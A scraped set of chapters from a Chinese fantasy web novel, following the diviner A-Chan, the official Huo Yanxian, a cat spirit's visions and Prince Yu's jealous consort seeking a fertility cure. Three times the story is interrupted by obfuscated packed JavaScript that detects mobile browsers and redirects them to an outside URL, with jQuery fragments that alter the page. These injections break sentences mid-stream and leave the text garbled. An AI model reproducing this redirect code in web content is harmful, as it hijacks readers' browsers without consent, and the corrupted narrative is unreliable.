他只好皱眉解释:“我们不是夫妻,只是一同办完公务路过而已。” 他一冷脸,气场立马肃杀起来,店小二吓得噤声,阿婵看到忙帮着转移话题:“这个透花糍好好吃,麻烦再来一份。” 店小二得令,忙逃之夭夭。 “你胃口挺好。”霍彦先一脸嫌弃,这一条街从头吃到尾,阿婵居然还能吃得下,他从未见过如此能吃的小娘子。 “大人请客,能多吃一点就多吃一点,不然还不知道下一顿在哪儿呢,毕竟我暂时还没钱。” “那你刚才干嘛把钱全给出去,我还以为你大方如斯,原来是穷大方?” 阿婵抹了抹嘴,满不在乎地说:“大人有所不知,我这个人命格不好,天生身弱不担财,有钱也不能留,得散出去,不然就会过得很坎坷,所以我才日夜不停地找机会努力挣钱。这种天生贫穷牛马命的痛,像大人你这种命好之人是不会懂的。 命好? 霍彦先苦笑,喃喃道:“命好之人不入沉命司……” “嗯?大人你说什么?” 阿婵举着碗大口喝蔗浆,从碗的边沿上方看到霍彦先的表情瞬间变了一变,心中觉得奇怪。 传言霍彦先世家出身,锦衣玉食,怎么会觉得自己命不好? 正想打探一下,还没开口,霍彦先便问道:“吃得差不多了吧,煞气流产案,你怎么看?” 阿婵便只好正经起来:“其实这个煞气,我在仙昙村的时候就曾见过。” “怎么回事?”霍彦先十分震惊。 阿婵将她在仙昙村遇到煞气攻击邢娘子之事跟霍彦先讲了。 霍彦先面沉如水:“所以你是说,这个煞气,跟仙昙村那个是同一种妖物,只是比那时变得更隐蔽、更强了?” 61. 太欺负猫了! 阿婵道:“目前感觉是,但因为在桓安还没有正面交锋过,所以还不确定它的具体情况。 当时在仙昙村,那个煞气明显还未成气候。而如今这个袭击康母的煞气,对胎儿和母体的伤害明显变大了,短短不到一个月时间,它化育得如此凶残,其中必有蹊跷。” 阿婵接着说道:“而且在我的天象记录中,二月出现的‘月晕围胃,妊女多死’的天象并未发生在桓安所在的分野。” 见霍彦先迷惑不解的眼神,她解释道:“星宿运行是有轨迹的,在星占中,所有天空都会被分成东西南北不同的分野,星宿在哪个方向的天空出现,就代表这片天空下对应的地方可能出现的事情。” 霍彦先了然,“也就是说,‘月晕围胃’的天象没有出现在对应桓安这边地域的天空中,所以煞气害人之事,本不应该发生在这里?” 阿婵点点头。 “或许你看到的天象不准?” “更可能是人为干预。” 霍彦先沉默了。 他以前并不会完全相信星占卜辞,但阿婵之前水患预言之准,又让他下意识觉得阿婵说的话有可信度。 而且,凭他多年办案的经验直觉,虎妖和煞气等妖物同时出现在桓安,极少可能是意外。 既然如此,那他之前的猜想恐怕会成真,天子脚下如此胆大,必定不是等闲之辈,是真的有人想要搅乱天下太平。 联想到之前朔勒安插在富州城的细作谭胥生,霍彦先觉得此事刻不容缓,需要赶紧追查。 酒足饭饱,二人分道扬镳。 *** 霍彦先回到绣衣察事司,杨奉安一溜烟拿着密报过来找他。 “大人您终于回来了,这有一份密报您看看。” 霍彦先却先吩咐杨奉安:“赶紧联系一下荔南府呈溪县令薛世程,问问那边近期是否也经常发生不正常的孕妇流产事件。” 杨奉安应下,霍彦先又追问了一句:“顺便问问胡三郎的案子有没有办完。” 杨奉安:“这不是巧了么大人,这份密报就是薛县令那边刚送来的消息,说胡三郎在狱中暴毙了。” “什么?”霍彦先神色一变。 “仵作验尸,确认他是被长恨蛊反噬折磨而死的,但在他身上,出现了奇怪的纹路。” 杨奉安将手中的密报展卷递给他。 这形状?霍彦先眼前浮现了玉娘身上的那个印记—— 脖颈处缠绕着一条细长如丝带的青黑色线条。 到底怎么回事? 仙昙村的胡三郎案,富州城的江伥索命案,桓安的灵骅寺虎妖案,距离如此之远的三个地方,竟然同时出现同一个印记,此中定有大问题! “马上去查一下,当时富州城牢中,陈富仲、陈怀思死亡时,尸体上有没有出现这个印记!” “是,大人!” *** 清晨,阿婵回到了灵骅寺。 不知道是不是昨晚霍彦先请客吃得太多,她有点撑,睡不着,于是便决定星夜兼程赶回灵骅寺,继续给高僧治伤。 虎妖出现打乱了她的计划,早点治好,她也能早点继续后面的事情。 阿婵选了一匹好马,脚程很快,天亮不久便回到寺中,惦念着康益和徐昌,她一回去便到往生殿中上香。 见香烟形状平缓上升,看样子没有什么异常,她才放下心来。 这一放松,累日的疲惫排山倒海般袭来,她坐在殿外的石阶上,想看看天象,眼皮却开始发沉…… …… 忽然,一团金黄毛球以迅雷不及掩耳之势狂奔到阿婵眼前,吓了她一跳。 “怎么回事?” 阿婵伸手一把捞过刹不住车的毛球。 是猫妖。 “泼皮竖子,无法无天!下次别再让老娘遇见你们!” 猫妖怒目圆睁,一身金黄虎斑皮毛左一簇右一簇地炸着,活像刚跟七只猫打过群架,模样十分狼狈。 “你这是怎么了?”阿婵一边将它身上的毛捋顺,一边好奇问道。 猫妖不让阿婵触碰,一边挣.扎一边骂骂咧咧: “我哪儿知道!真是邪了门儿了!我好好地入梦来找你,谁知道一来就看到两个小孩站在一起咬耳朵,但是一看到我,就哇哇呀呀地冲过来要揍我!天杀的!我什么都没干就挨了一通揍!” “两个小孩?长什么样?”阿婵皱眉问道。 “都是十一二岁的样子,一个高点壮点生猛点,一个矮点瘦点文弱点,我都不认识他们,凭什么打我!” 猫妖暴里暴躁地舔着一身皮毛,可是有一根毛儿黏在它舌头上怎么甩都甩不掉,于是更暴躁了,丢出一个幻境:“你自己看吧!” 阿婵仔细一看,正是猫眼记录的刚才发生的一切。 只见两个小男孩站在灵骅寺往生堂外的一棵参天古树下,面露难色。 矮瘦男孩杵杵旁边高壮男孩的胳膊:“诶,怎么办啊康益,怎么她都不睡觉的?” “我也不知道,你读书多,既然知道如何降服虎妖,那知不知道怎么入不睡觉的人的梦境?” “这还用看书?睡觉才能入梦,不睡觉怎么入?这不是巧妇难为无米之炊嘛!她是人吗,哪有人能连续这么长时间不睡觉的!” “好了好了,不要念成语,头痛!” “孺子不可教也!你多听听也不至于这辈子只会打猎,连自己名字都不会写!” “要你管!” “朽木不可雕也……” “哎呀!别念了别念了,马上就要到时间了,没法向她道谢了怎么办?” “没办法,要不咱们就远远地拜一拜吧。” 说着,两人对着空气躬身拜谢,口中念念有词:“多谢闻寰居士和成智大师等一众高人收伏虎妖、寻尸超度之恩,小子没齿难忘,感激不尽。” 这二人拜完,本来准备转身离开,结果好像是看到了对面有什么朝他们走来,高壮男孩忽然脸色大变,喊道:“不好!怎么还没死!” 矮瘦男孩大喊:“以为变小了我就会放过你吗?” 而后他们像两头初生牛犊般猛冲过来,对对面的东西一通拳打脚踢,伴着“嗷呜嗷呜”的嚎叫,两人跑远…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15124823|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而后,两缕紫气飞向天边…… 幻境结束,阿婵看到猫妖鼓着腮帮子,一副“你看他们多么不可理喻”的愤怒表情。 原来是康益和徐昌,阿婵苦笑扶额。 这两个孩子应该是经过方丈超度,时间到了,要重新回到神仙座下去了,临走前想对她表示谢意,但没想到她这几天一直忙活没时间睡觉,所以入不了梦,只能站在梦外,碰巧遇到了想要入梦的猫妖。 “如今这些竖子的顽劣程度简直令人发指!我什么都没干,只是路过,凭什么打我!欺负老娘太善了?!老娘还说不打小儿和老人,真是世风日下,人心不古呐!下次见一个咬一个,挠死他们!” 猫妖瞪着菜刀眼,见自己精心护理的一身油光水滑的皮毛惨遭乱薅,心中只想杀人。 “你……” 阿婵忽然从上到下打量猫妖,左看看,右看看,随后恍然大悟。 “看什么呢!”猫妖被她盯得有点毛骨悚然。 阿婵摸着下巴道:“你最近……是不是太胖了?” ??? !!! 见对方又要炸毛,阿婵赶紧安抚猫妖:“误会误会!你别怪他们,他俩是同年同月同日生的童子,被虎妖害死了,死后执念一直是除掉虎妖保护家人,所以可能一看到你身上的虎斑花纹,一下子心理阴影就出来了,有些激动,毕竟你叫金丝虎,太像了,你懂吧……” 懂什么懂! 荒谬至极! 猫妖呲着牙爆裂咆哮! 不就是最近伙食太好又吃胖了点嘛!不就是最近宫中圣物灵气外溢有点多它吸收得快了点嘛! 那两个小子仗着自己有功德在身,就能不问青红皂白一照面就打它嘛!要不是它跑得快,可不只是被薅毛那么简单! 太欺负猫了! 阿婵见它伤了自尊,也不好说太重的话,于是旁敲侧击:“那什么……你还是注意点身体,要不然也妨碍修炼不是?宫里的东西再好吃,也要有个节制!” “住口!我心里有数!”猫妖这个委屈啊,气呼呼一屁.股坐在地上,大地晃了三晃。 “就算他们是童子也不能这么不讲理!” “好了好了,等他们回到神仙座下,自有因果决断,神仙会替你教训他们的,你大猫有大量,就不要跟小孩子计较了。” 猫妖抖抖胡须,轻哼一声,表示我才不屑跟他们一般见识。 见它气消了,阿婵才问:“这回找我,是有新消息了嘛?” “没有干嘛找你,入你一次梦这么难!” “好了好了,我好不容易睡一会儿,你别浪费时间。” 猫妖十分不耐烦地左右扫着尾巴,身后又出现了一个幻境。 “最近我在宫中找到了一只皇后以前养的孔雀的魂魄,你看看有没有用。” 阿婵看着幻境,陡然睁大双眼。 画面中,是霍彦先和逝去的嘉善皇后正在谈话。 嘉善皇后手中拿着一封信,信封上有纹样复杂的花押,赫然与十年前乱葬岗密林中霍彦先在她父亲坟前烧掉的那封信上的花押一模一样! 62. 为她撑伞 嘉善皇后将手中的信递给霍彦先,霍彦先跪地领命而去,二人没有太多言语交流。 画面从这里开始,料想是孔雀刚刚飞到皇后身边才看到的。 饶是在幻境中,也已经明显能看出嘉善皇后此时过分消瘦,面容蜡黄,再多敷粉也掩盖不住的憔悴的病态。 这难道是……皇后病逝前夕?阿婵心中推算,此时父亲不知道是不是已经出事了。 以前只听闻嘉善皇后仁德无双,曾建议圣人推行了许多惠及民生和女子的政策。但阿婵从未曾设想过,嘉善皇后竟然和父亲之死有关。 十年前那个夜晚,圣人要霍彦先镇煞,霍彦先却违背圣旨,秘密安葬父亲,难道一切和皇后有关?这是阿婵十年来未曾调查过的方向。 “帮我继续查关于嘉善皇后和霍彦先的一切。” 忽然,幻境被隆隆声打断,猫妖消失。 阿婵蜷在石阶上,侧头伏在双膝,还未完全睁开眼,便嗅到了潮湿的草木泥土气息。 周围在落雨。这雨下得悄无声息,地面已全部打湿,若不是一声雷将阿婵惊醒,她似乎会在睡梦中被浇成落汤鸡也不自知。 但奇怪的是,她坐在往生殿前的石阶上,头顶没有屋檐,身上却一点雨都没有淋到。 她眨眨惺忪睡眼,摇晃摇晃脑袋坐起来,视线变得清晰,忽然发现眼前还站着一个人。 抬头看,头顶还有一把撑开的伞。 她整个人突然如炸毛的猫一激灵,彻底清醒,这人竟是霍彦先!!! 前一刻她在梦中还在怀疑霍彦先和父亲之死有关,下一刻这人竟就这样出现在自己眼前! 阿婵惊得一下站了起来,脚下一个石阶踩空,步步踩空,身子向后连退几步,顷刻间整个人便向往生殿的木柱磕去! 但预想的疼痛没有袭来,一只大手及时撑在了她的脑后,将她与木柱隔开。 霍彦先人高腿长,一步跨过三个台阶,一手护着她的后脑,一手还撑着伞。 细密的雨丝将周遭一切变得模糊,但二人距离陡然拉近,霍彦先的脸在阿婵面前放大,精致锋利的眉眼中带着些许不解: “你为什么在这里睡觉?” 霍彦先用手将阿婵的头轻轻往前一带,让她站稳,随后抽手。但另一只手仍稳稳举着伞罩在阿婵头顶,将她和雨水隔绝开来。 阿婵看着他肩膀湿透的衣料,有一瞬怔愣。 也不知他站了多久。 是不是当她梦到嘉善皇后递信给他的时候,他已经站在这里了? 但随即她眼神又泛狡黠,靠近他“温言软语”:“若不是在这里睡着,又怎会知道大人如此面冷心热……” 她盯着霍彦先的眼睛,似要直直透过去看穿他的心底。 “……伞大而已,路过的蚂蚁和猪都能遮得到。” 听到对面的冷硬揶揄,阿婵却一点不恼,勾起唇角视线从他的脸游移到他的肩头。 倏忽握着他撑伞的手,将倾向她的伞反过来朝霍彦先倾斜,遮住了正落在他两肩的雨水。 “……” 她这一下又出乎霍彦先的意料,眼神也意味深长,直看得霍彦先神色不自然地偏过头咳了一声。 “你……不要多想……” 他抽出手,收了伞,和她一起并肩站到了屋檐下。 阿婵笑问:“大人觉得我在想什么?” 霍彦先:“……” 阿婵这才满意收回促狭视线,正经起来:“霍大人今日前来,有什么要事吗?” 霍彦先也恢复正色道:“虎妖和虎伥之事我已跟煜王殿下说过了,他为了感谢康益给煜王妃和楼娘子指路的善意,以及他和徐昌二人拯救村民的英勇之举,决定捐赠一笔善款给康益和徐昌的家人,以及在寺中往生堂长期为他们供奉打虎英雄的牌位。” “煜王殿下深明大义,是桓安百姓之福,还请大人转告殿下,刚才康益和徐昌托梦给我,他二人经过方丈超度,已顺利返回天界,继续做童子去了。” 听罢,霍彦先放下心来,又道:“既然遇到你,正好跟你说一下,胡三郎日前在狱中遭长恨蛊反噬暴毙,但他脖颈处也出现了和玉娘一样的印记。” “有这等事?”阿婵神色一凛,随即想到什么,问:“那陈富仲和他儿子……” “已经在查了。” “若是陈富仲父子二人也有,那这些人的共同点便是都曾遇到游方道士。这道士要么是同一个人,要么是出自同一个组织。” “而且包藏祸心。” 二人对视,均在对方脸上看到深深的忧虑。 霍彦先道:“我这次来就是来找方丈,最近大家都要严加防范,煞气随时可能再出现,也要提防其他妖物和歹人在全国范围内作乱。” 阿婵:“我和你一起。” 说罢,二人朝着方丈房走去。 *** 煜王府内,阮云薇这几日神色恹恹,感觉通体不适。 “殿下呢?” “殿下一早就出去了。” “可曾问起我?” “殿下让您好好休息。” 从灵骅寺回来,接连好几日,煜王都是同样的早起外出,同样的说辞,这令阮云薇好不气闷。 本想趁夜遇虎妖这件事好好在煜王面前示弱求怜惜一番,结果回来之后连个照面都没见到,话都不曾面对面说一句! 阮云薇冷声问:“殿下现在在何处?” “还在皇城,但眼线回报,殿下说公务结束之后,会去……” 婢女犹豫了一下,声音怯怯:“会去西郊那处偏僻的别苑……” 又去! 楼映真这个贱.人,不知给他下了什么迷.魂.药,接连几日煜王履行完公务就往她那儿跑。 这样下去还得了! 一个爹不疼娘不在的寡.妇,妄想踩在她头上,简直是倒反天罡! 气冲上脑,她又开始头痛。 婢女给她揉了半晌,窗外蝉鸣燥热,她厌恶地侧瞥一眼窗外,视线刚好瞥到了梳妆台上的木盒,定住。 她挥手让婢女退下,起身取过木盒。 如今木盒中空无一物,想起那夜寺中之事,她便恨得牙痒。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128071|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那可是她花重金从云疆求来的噬心蛊,就这么被人收了去! 一想起那个女居士的那句“如果他不计较呢,我就收下啦!”阮云薇眼中戾色更盛。 但是…… 忽然间,她灵台一瞬清明,似乎想通了什么,唇边又泛起微小的弧度。 “来人,更衣。” 思来想去,不管是阿水还是楼映真,就算再来一百个女人,她需要的也并非晁元肇对她死心塌地,她只需要一个儿子。 她无法栓牢男人的心,但嫡子可以。 那个女居士,虽然收了她的蛊虫,但似乎手段也很高明,或许可以帮她一把? 阮云薇从不是遇事只知抱怨的性格,如果对方身上有她想要的东西,无论是敌是友,她都会尝试接触一下。 毕竟,如今她能做的也只是耐着性子等待,但如果可以多一种实现目标的可能,何乐而不为呢? 思及此,阮云薇迅速命人去打探闻寰居士的所在。 *** 蓬莱春,宾客如云。 楼映真被引入上等雅座。 “居士治好了我的脸,还帮我驱除了体内的噬心蛊,两番救命之恩,不能言谢。” 说着,楼映真起身,对着阿婵深深施了一礼,并奉上厚厚一沓银票。 “不必客气,惩恶除害,是我们玄门中人应该做的。” 阿婵将其扶起,嘴上客气,但并没有推拒银票,接过来直接收下了。 “居士,映真还有一个请求,希望居士能多给我一些护身平安符。我在桓安办事还需要些时日,不知还会遇到什么……” 楼映真眼中浮现担忧之色。 “的确应该有备无患。你中蛊之后比较虚弱,最近养元符都要贴身带着,可以助你尽快恢复元气。你要的那些符我现下已不多,先给你两张,之后我制作好了,你再过来拿便是。” “多谢居士。”见阿婵应得爽快,楼映真这才眉头舒展,又付给阿婵厚厚一叠银票,起身道别。 门关上之后,阿婵瞬间敛了笑容。 少顷,谢慕游房中。 看到阿婵放在桌子上的厚厚一沓银票,谢慕游啧啧道:“这楼映真,这些年发了多少不义之财,竟然这么有钱!” 阿婵已取出黄纸开始画符,手中笔走龙蛇,冷声道:“能花尽量多花一些,省得过些日子没命花了。” “那你如今还要再去灵骅寺吗,这两边跑也太累了。” “不用了,高僧的伤已到收尾阶段,我留了药膏,人就不用过去了,正好得开始盯着楼映真和阮云薇这边的动向。” 谢慕游还没来得及跟阿婵说些什么,门外突然传来敲门声。 小厮过来禀报,煜王妃邀请闻寰居士到府上一叙,说是仰慕居士道法高明,想请一些符箓。 谢慕游眼中多了些兴奋:“今天什么日子,怎么排着队上赶着来送钱?” 阿婵笑道:“还是斗起来好,她们斗得越厉害,咱们进账就越多。” 她起身往外走,临走时谢慕游还给她比了个“要价狠点”的手势。 63. 英雄救美 煜王府。 “不知煜王妃今日请在下前来,有何贵干?”阿婵正襟危坐,问道。 二人互相见礼,一番寒暄过后,阮云薇也并不遮掩来意,开门见山道: “不怕闻寰居士笑话,我成婚多年未有身孕,看遍天下名医,乃至宫中御医,都不知是何缘故。那日在寺中,见居士捉妖手段高明,似乎还精通岐黄之术,故此前来请居士看看,我这不孕之症,是否有救?” 阿婵不置可否,只是示意她需要先把脉看看情况。 阮云薇将手腕抬起放在脉诊上。 阿婵号脉,心中奇怪,按理说阮云薇脉象中生机旺盛,应该是易孕体质,但看下来,似乎是有什么东西从中作梗,硬是把生机从中拦截下来,导致她不能怀孕。 但那生机似乎也没有放弃,还是暗流涌动,极力想要突破阻碍。 阿婵从未见过如此奇怪的脉象。 “居士,如何?”见对方表情面沉如水,阮云薇小心翼翼问道。 “并非完全没有希望。” 阮云薇曾经历过数次被各种名医当场宣布“死刑”的诊断,这一次其实也没报太大希望,但对方竟然给出了这样的答案,实在让她喜出望外。 “居士是说,可能有治?”阮云薇极力按捺心中的激动,但声音还是忍不住有些发颤。 阿婵依旧没有什么情绪波动,又仔仔细细盯了她的脸半晌。 直看得阮云薇为了维持体面保持的笑容发僵,心里发毛,阿婵才说道:“按道理,你的脉象和面相都应是易孕的,但这么多年都没有反应,可曾做过什么德行大亏之事?” 阮云薇笑容顿时消失,一时间室内死寂,空气仿佛凝滞。 “居士……我不太懂……你这是什么意思?” 阿婵依旧面色无澜,平静地望着她道:“王妃别介意,我们玄门道医的望闻问切,不仅遵循医理,更会从命理等各方面加以评判。” 阮云薇面色稍霁,再次从僵硬的脸上挤出得体笑容,“居士说笑了,我乃煜王妃,代表皇室威仪,平日需处处谨言慎行,怎会做德行大亏之事。” 阿婵深深地看向她的眼睛。 饶是阮云薇最擅察言观色,也无法从对方眼神中读出任何东西,只觉那双眸子似漩涡,深邃莫测,却又犀利如剑,似要洞穿她的一切,看得她脊背生生起了一层薄寒,哪怕她觉得被冒犯,也不敢在言语行为上有任何造次。 或许这就是玄门高人?阮云薇见过的玄门方士不少,德高望重有之,仙风道骨有之,但像闻寰居士这种年纪轻轻却有如此气场的,她却从未见过。 阿婵收回目光,淡淡道:“那便好,在下只是例行问诊,王妃目前的状况,若无因果报应,便还有一个方子,可以尝试一下。” 阮云薇坐这片刻,心中跌宕起伏,如今总算听到了一句想听的话,喜出望外,急切问道:“是什么?” “荔南府附近的灵岫山深处,有一种化瘿木,此木入药可增加生机,助疗不孕之症。如果王妃愿意,可先付定金,待我找到这种化瘿木,便可尝试帮你配药。” “可以,要等多久?” “化瘿木在人迹罕至的深山,比较难寻,在下也不敢保证一定能找到。” 阮云薇满怀的欣喜一下又泄了几分,但仍坚定道:“不管如何,我定要试试,麻烦居士了。” 阿婵点点头,“既然如此,我便再给你写几味药引,也是珍贵之物,需要你自己提前备齐。” 阮云薇丝毫没有犹豫,一口应下。 “居士,这定金……” “纹银两千两。” !!! 对方语气毫无波澜,似在说一件司空见惯的小事,阮云薇只好安慰自己,舍不得银子套不着狼,只是这支出,自是不能从府中.出,只能从她自己的嫁妆中拿了。 稍后,阮云薇告诉阿婵,会将定金按时送到府上,阿婵便欲告辞离开。 阿婵起身之际,阮云薇又想到什么:“居士,传闻近日城中屡有煞气作祟,残害孕妇,我想求些护身符。” 阿婵有些意外:“你尚无孕,何必害怕?煞气就算要找也不会找到你。” 阮云薇:“……” 但她坚持道:“有备无患,居士可方便给一些?” 阿婵无所谓:“自是可以,不过符箓已用尽,赶制需要时间,你两日后送定金到蓬莱春,顺便取走护身符即可。” 阮云薇这才心满意足,放阿婵离开。 阿婵出府这一路,心思一直在阮云薇的古怪脉象上,并没有在意对面街角有个不起眼的身影见到她出来,立马返身消失在街巷…… *** 等阿婵出了王府,阮云薇唤来亲信柳盛:“刚才的药方,分别拿给成智大师、桐风道长、钱御医看看,是否有诈。” “是,王妃。” 阮云薇轻抚自己的小腹,她其实并不敢完全相信这个闻寰居士,尤其是那天她还帮了楼映真,但如果她真有两把刷子,自己也绝不能放过这个翻盘的机会。 她的人生,每一次面临改命的选择,万幸都赌对了。 希望这一次,也不例外。 *** 绣衣察事司。 “回大人,煜王妃邀请闻寰居士到府上做客,王妃对她十分礼遇。” 霍彦先正在看密报,闻言抬头奇道:“阮云薇?” 自灵骅寺那晚之后,阿婵承认自己和楼映真认识,他派人查过,楼映真是她的主雇,阿婵没有说谎。 这也可以理解,煜王好美.色,楼映真为了接近煜王,免不了要在头面上做文章。 只不过,如此一来,阿婵应该和楼映真是同一阵营,灵骅寺那晚她帮楼映真抓蛊虫,看起来也是这样。 但如今,怎么才隔没几天,阿婵就又变成了煜王妃的座上宾? 难道真像阿婵所说,她不认识阮云薇,只是单纯捉妖卖药?丝毫没有任何倾向? 霍彦先一时想不透,但总觉得哪里有古怪,便道:“继续盯着。” “是。” *** 过了两日,按照约定护身符应该已经制好,阮云薇左右无事,便想着出去逛逛,顺便亲自去蓬莱春送定金。 阿婵早已在蓬莱春备好符箓,恭候大驾。 阮云薇咬牙交了定金,取了符箓,但这次前来,其实她还有一个目的,就是想顺便打探一下楼映真那边的消息,上次在寺中,楼映真和阿婵明显是认识的,这让她多少有些顾虑。 但阿婵只说楼映真也是她的主雇,具体买卖的东西是要替主雇保密的。 阮云薇心下难免生疑且不甘,但左问右问,阿婵油盐不进,滴水不漏,她见实在打探不出,也只好作罢,告辞离开。 没想到,马车刚走没几步,突然一顿,阮云薇无意透过绛色纱帘往窗外瞥了一眼,立马变了脸色。 只见一个面色惨白的女子从药店拿着一提药包出来,脚步虚浮,门口下台阶时,一个没踩稳,整个人便要跌倒。 万幸,被从斜刺里冲出的高大男子拦腰稳稳抱住。 二人当街对视。 光天化日之下,竟有这种话本中才有的英雄救美之事! 路人也不禁啧啧艳羡。 但阮云薇却葱甲紧攥,陷入肉中,直看得咬牙切齿。 旁边婢女也看到了,立马汗毛直竖,心道完了。 因为这话本一般英雄救美的主人公,竟然是—— 楼映真! 和煜王殿下! 车夫也是看到了自家煜王,握着缰绳的手才一顿,但没想到这一顿,顿出大事来了! 只要有眼睛的人都看得出来,这是煜王一早就默默守在楼映真旁边,不然哪能出现得如此及时! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“可能那酒确实合木客的心意,它还附赠了我一块玉音木,也是稀罕物,有金石之声。我将它炮制好了,你看看能不能卖个好价钱。” 阿婵敲击木块,木块发出玉石般清脆悦耳的声音,加之木纹类似风动竹影,只要谢慕游略加包装个什么轶事传说,桓安的文人墨客肯定抢着要。 谢慕游喜滋滋接过泛着一层乌木光泽的玉音木,“行,我去找找买家,狠赚它一笔。你别说,跟这木客做生意还挺实惠。” 阿婵点点头:“木客虽是上古深山精怪,避世而居,但以物易物,童叟无欺,很讲公平。况且它们也不害人,就是靠替人进人迹罕至的深山之中找木、伐木换取些生活所需品,算是独善其身的典范了。” “要不是它们避不见人,我都想跟它们喝酒交朋友了。”谢慕游遗憾,随即又好奇,“不过你说那木客平时孤僻又避世,真的会撒酒疯吗?还跑到酒馆去念诗?” “会啊,装得可像个人呢。唯一的弱点就是爱喝酒,喝醉了脑袋发懵才会独自跑出来撒酒疯念诗。 不过它们从上古就隐居避世,几乎不和外人交流,所以醉酒念的也都是上古诗词,发音也是上古音律,和一般的方言不同,乍一听很像谵妄发疯,不然我也不会发现那些酒馆客人口中的‘酒疯子’就是木客。” 谢慕游纳闷:“不过你明明已经拿到化瘿木了,刚才干嘛不给阮云薇?” “不急,先等她跟楼映真那边斗一斗,狗咬狗才有意思。” “你准备吊阮云薇多久?” 阿婵盯着桌上的化瘿木,一副看好戏的眼神:“等到楼映真以为她快要得手之时,我们再去给阮云薇添一把助力,不是很有意思吗?” 64. 笑不出来 炎合酒楼,雅间。 阮云薇伸出皓腕,“如何?” 对面一位中年方士抬眼看了一下她,沉声道:“快成了。” “何时?” “再等等。” “能不能再快一点,时间不多了!”阮云薇语气不耐。 “王妃切莫心急,此次用药需要一定的时间,贫道已经感觉到气息逐渐凝聚,待到时机成熟,必有好的结果,请耐心等待,经常动气不利于聚气。” 阮云薇听了这话,强行把心头火下压去,可一闭上眼,眼前全是刚才街头那一幕,叫她如何平心静气! 她压着火道:“桐风道长,上次你说的那种药,不是回炉重新研制了新方子,成了吗?” “成了,上边已经试过药了,这次用药的方法比之前更加方便隐蔽,药效也比之前更猛烈持.久。” “尽快给我一些。” “王妃放心,贫道这就取了送到王府去。” 阮云薇得到答复,离开酒楼,路过前堂,看见换了一位琴姬正在抚琴,不禁又气上心头。 上次她来这里找桐风道长,恰好遇见殿下,他看那个叫什么彩鸢的琴姬看得痴迷,如今才过多久,又被楼映真迷得晕头转向,每次来这酒楼都是因为这种原因,真是晦气! 她恨不能这酒楼早日倒闭! *** 煜王府。 “殿下,之前您去禾阳县、荔南府处理各种紧急公务,好不容易回桓安后边关又不太平,您为了给圣人分忧,这半年几乎一直没能好好休息,王妃知道您今日早回来,特意亲手给您炖了两个时辰的参汤,您尝尝。” 婢女将参汤摆到煜王面前,十分熟练地为阮匀薇邀功。 “云薇辛苦了。”晁元肇沉声道。他最近确实有些繁忙,头部隐隐作痛。 “哪有殿下辛苦。”阮云薇贴心地将汤匙递给他。 晁元肇舀了一勺汤,扫了一眼桌案上摆着的吃食,鲤鱼羹、翡翠豆腐、水晶龙凤糕、泡儿油糕、蒲萄酒,全是他爱平日里爱吃的东西。 室内香气氤氲,也是他平日里爱燃的香。 是用了心的。 若是平常,哪怕他没有什么兴致,也要称赞阮云薇几句,毕竟没有功劳,也有苦劳。 但今日不知为何,看到这些,他总是会想起楼映真。 想起她那偏僻清冷的别苑,想起她那陈设简陋的卧室,想起她尽力拿出招待他的简单吃食,还有她身上清冷质朴的草药香气。 造化弄人。 一想到楼映真本也是桓安贵女,和阮云薇一起长大,如今两人境遇却如云泥之别,真是造化弄人,他更没了兴致。 连带着口中鲜浓滋补的参汤也多了一丝苦涩。 “殿下,可是参汤不合口?” 阮云薇见他没喝几口便皱眉放下了汤匙,桌上的菜也不动,不知道这是怎么了。 “没有,很好,只是想起还有些公务要处理,你先吃吧。” 说罢,晁元肇便起身往门口走。 门外,一下午的无风闷热被一阵隆隆滚雷打破,天将雨。 “殿下今晚不在我这儿过夜吗?” “不了,你好好休息。哦,对了,去把日间我给王妃买的东西拿来。”晁元肇突然想起什么,对侍从说道。 侍从一愣,随即看到煜王殿下朝自己使眼色,他恍然明了,轻车熟路地领命出去。 “你先歇着。”晁元肇转头拍拍妻子的肩,留给阮云薇这四个字和一道匆忙离开的背影。 雨前的闷风,热得令人窒息。 又是这样! 阮云薇心中气闷,她张罗半日,将屋中所有的东西都换成了他的喜好,哪怕是自己一闻便头晕恶心的熏香,也强忍着为他点燃,只是因为他喜欢。 以前哪怕是去别的院子,他也会做做样子,多说几句好听的话。 如今这是,开始只买点东西敷衍她了? *** 晁元肇走到连廊,忽然发现院中仆从怕下雨,正在抓紧洒扫,扫帚下面,是一片散乱枯黄,他瞟了一眼,却十分眼熟。 这是菊草,晋南山中特有的草药,可缓解头痛。 他想起那纤细劲瘦的赭色身影在雾气中.出现救他时,身后就背着这一篓菊草。 “这是哪来的,你在干什么?!” 晁元肇突如其来充满怒意的问话,让仆从吓了一跳,连忙应道:“回殿下,小人不知这草从何而来,是下午王妃聚会之后拿来的,说要扔掉。” “王妃下午与何人聚会?!”晁元肇又问。 “是王妃和闺中密友庄大娘子一起为远道而来的楼娘子接风。” 